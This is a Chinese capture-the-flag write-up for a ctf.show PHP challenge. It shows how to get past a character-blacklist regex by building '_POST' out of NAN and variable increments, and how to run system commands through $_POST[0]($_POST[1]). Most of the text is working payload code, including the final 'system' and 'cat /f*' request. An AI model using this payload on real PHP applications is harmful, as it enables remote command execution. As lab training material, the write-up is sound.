目录
- 题目源码
- 1 跑一下正则
- 2 分析解题用什么payload
- 3 构造payload
- 如何获取字母N
- 构造出_POST及其他拼接内容
- POST传参
 
- 4 完整解题payload
 
题目源码

1 跑一下正则
<?php
for($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
		echo chr($i)." ";
	}
}
?>
结果:
 
 没被过滤的字符是:
$ ( ) + , . / 0 1 ; = [ ] _
2 分析解题用什么payload
挑战3相对于挑战2的区别主要在于两点,一是放出了数字0和1,同时,单引号被过滤了;二是对POST接收的参数ctf_show有了长度限制<=105
 先回顾一下在挑战2中,我用的POST参数是:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.++$_;$_=_.$_;$$_[_]($$_[__]);
这个payload有157那么长,想要缩短到105以内好像不太现实,然后去看了其他师傅的wp,才知道原来这里不能再构造GET啦,而是要构造POST。
 直觉上可能会觉得GET比POST短会用更少字符,但实际上,N可以通过类似于获取A的方法那样直接获得,而从N之后OPST都有,且离得近,因此POST更容易用更少的字符得到。[1]
 [1]参考博客:
https://blog.csdn.net/qq_61955196/article/details/127932968?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127932968%22%2C%22source%22%3A%22qq_38798840%22%7D&fromshare=blogdetail
[1]后来发现这段话可能最初是出自官方wp,贴个地址:
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah
3 构造payload
如何获取字母N
类比挑战2中,通过利用php中[]的默认值是Array,再连接一个_构造出Array_,再取下标[0]获得A的思路,在挑战3中,通过执行0/0得到NAN,再连接一个_构造出NAN_,再取下标[0]获得N
$_=(0/0)._; //NAN_
$_=$_[0]; //N
忽略报错信息即可,可见这样可以得到N:
 
构造出_POST及其他拼接内容
有了N,接下来就用变量自增获得O、P、S、T,再拼接_和其他符号构造可以接收POST参数并能执行函数(关于为什么这么说,可以看挑战2的wp末尾)的$_POST[0]($_POST[1]);即可。
 先自己尝试写一下:
<?php
$_=(0/0)._;     //NaN_
$_=$_[0];       //N
$__=++$_;       //$__=O
$__=++$_.$__;   //$__=PO
$_++;$_++;      //Q、R
$__=$__.++$_;   //$__=POS
$__=$__.++$_;   //$__=POST
$_=_.$__;       //$_=_POST
echo $_;
?>
写完执行试一下,忽略报错信息,可见这样可以得到_POST:
 
 再拼接出$_POST[0]($_POST[1]);:
$$_[0]($$_[1]);
不要漏掉分号 不要漏掉分号 不要漏掉分号
POST传参
因为是POST方式所以继续在后面给出参数0和1的值,例如:
 &0=system&1=ls /
 在HackBar执行了一下居然回显了根目录文件,看来长度也符合要求咯,看了一下不包含传参0和1的部分,payload长度为102
4 完整解题payload
最终payload:
ctf_show=$_=(0/0)._;$_=$_[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__=$__.++$_;$__=$__.++$_;$_=_.$__;$$_[0]($$_[1]);&0=system&1=cat /f*
列出根目录文件:
 
 回显flag:
 



















